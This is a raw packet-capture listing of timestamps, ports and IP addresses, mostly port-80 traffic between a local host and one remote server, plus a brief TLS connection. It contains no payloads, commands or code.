Dec 9, 2024 23:09:36.560446978 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.561117887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.561163902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.561237097 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.561557055 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.561990023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.562036037 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.603254080 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.603316069 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.603358984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.603415012 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.603571892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.603610039 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.603750944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.603802919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.603848934 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.604243994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.604285955 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.604360104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.604440928 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.605220079 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.605230093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.605266094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.605587006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.605801105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.605838060 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.606420040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.606458902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.606615067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.606712103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.607300043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.607347965 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.607414961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.607453108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.608149052 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.608206987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.608247042 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.608966112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.609122038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.609162092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.609786034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.609822035 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.609888077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.609973907 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.610722065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.610764027 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.610861063 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.610902071 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.611490965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.611581087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.611618042 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.612346888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.612395048 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.612425089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.612462997 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.613221884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.613333941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.613370895 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.614099026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.614182949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.614228010 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.614918947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.614984989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.615034103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.615807056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.615906954 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.615919113 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.615968943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.616631985 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.616683006 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.616764069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.616858959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.617449999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.617501020 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.617518902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.617578983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.618278980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.618335009 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.618374109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.618411064 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.619136095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.619191885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.619234085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.619275093 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.619978905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.620125055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.620223999 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.620836020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.620898008 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.620997906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.621037960 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.621670961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.621718884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.621742010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.621778965 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.622539997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.622584105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.622648954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.622685909 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.623409033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.623454094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.623471975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.623549938 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.624326944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.624366045 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.624403954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.624440908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.625128984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.625184059 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.625210047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.625250101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.625937939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.625981092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.626015902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.626111984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.626763105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.626810074 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.626945019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.626980066 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.627697945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.627753019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.627799034 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.628546953 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.628624916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.628895998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.629308939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.629378080 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.629435062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.629586935 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.630161047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.630245924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.630371094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.631021976 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.631110907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.631710052 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.631922960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.631946087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.632014036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.632709980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.632759094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.632802963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.632968903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.633555889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.633635998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.634438992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.634553909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.635309935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.635418892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.636066914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.636137009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.636257887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.636969090 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.637020111 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.637851000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.638061047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.638642073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.638705015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.639486074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.639667988 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.640331984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.640454054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.641199112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.641325951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.642050982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.642158985 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.642916918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.643091917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.643752098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.643860102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.644570112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.651691914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.651881933 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.651982069 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.752388954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.752466917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.752820015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.752906084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.753663063 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.753798962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.754120111 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.754471064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.754615068 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.776549101 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:36.781265974 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:36.783126116 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:36.783132076 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:36.783343077 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:36.788528919 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:36.789237976 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:36.789271116 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:36.795798063 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.795854092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.796200037 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.796267033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.796943903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.797111988 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.797297001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.797873020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.798032045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.798691988 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.798783064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.799541950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.799688101 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.800409079 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.800575972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.801227093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.801292896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.802083015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.802206993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.802953005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.803112030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.803814888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.803881884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.804665089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.804773092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.805505991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.805690050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.805922031 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.805969954 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.805998087 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.806355953 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.806459904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.806719065 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.807173967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.807308912 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.808068991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.808173895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.808881044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.808990002 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.809642076 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.809721947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.809762955 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.809832096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.810602903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.810683966 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.811429977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.811528921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.812056065 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.812289000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.812398911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.812494040 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.813105106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.813149929 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.813189030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.813364029 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.814070940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.814210892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.814239979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.814270973 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.814826012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.814898968 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.815011024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.815274000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.815644979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.815758944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.816556931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.816735983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819228888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819324970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819336891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819581985 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819593906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819605112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.819991112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.820121050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.820132971 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.820146084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.820178986 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.820775986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.820877075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.821233988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.821664095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.821811914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.821846962 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.822124958 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.822559118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.822669983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.822696924 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.822760105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.823491096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.823535919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.824227095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.824271917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.831991911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.834201097 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834285021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834301949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834453106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834465027 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834475994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834489107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834783077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834912062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834923983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834934950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834947109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834958076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834969044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834981918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.834992886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835659027 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835676908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835695028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835712910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835731983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835748911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835761070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.835777998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.836385012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.836400986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.836507082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.836659908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.838056087 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.838118076 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.838279963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.838359118 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.838397980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.838476896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.838862896 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.944607973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.944684029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.945039034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.945144892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.945897102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.945936918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.946700096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.950582981 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.966186047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.988070965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.988224030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.988379955 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.988435030 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.988507032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.988718033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.989249945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.989394903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.989439964 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.990113974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.990247011 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.990282059 CET	80	49838	185.215.113.16	192.168.2.4
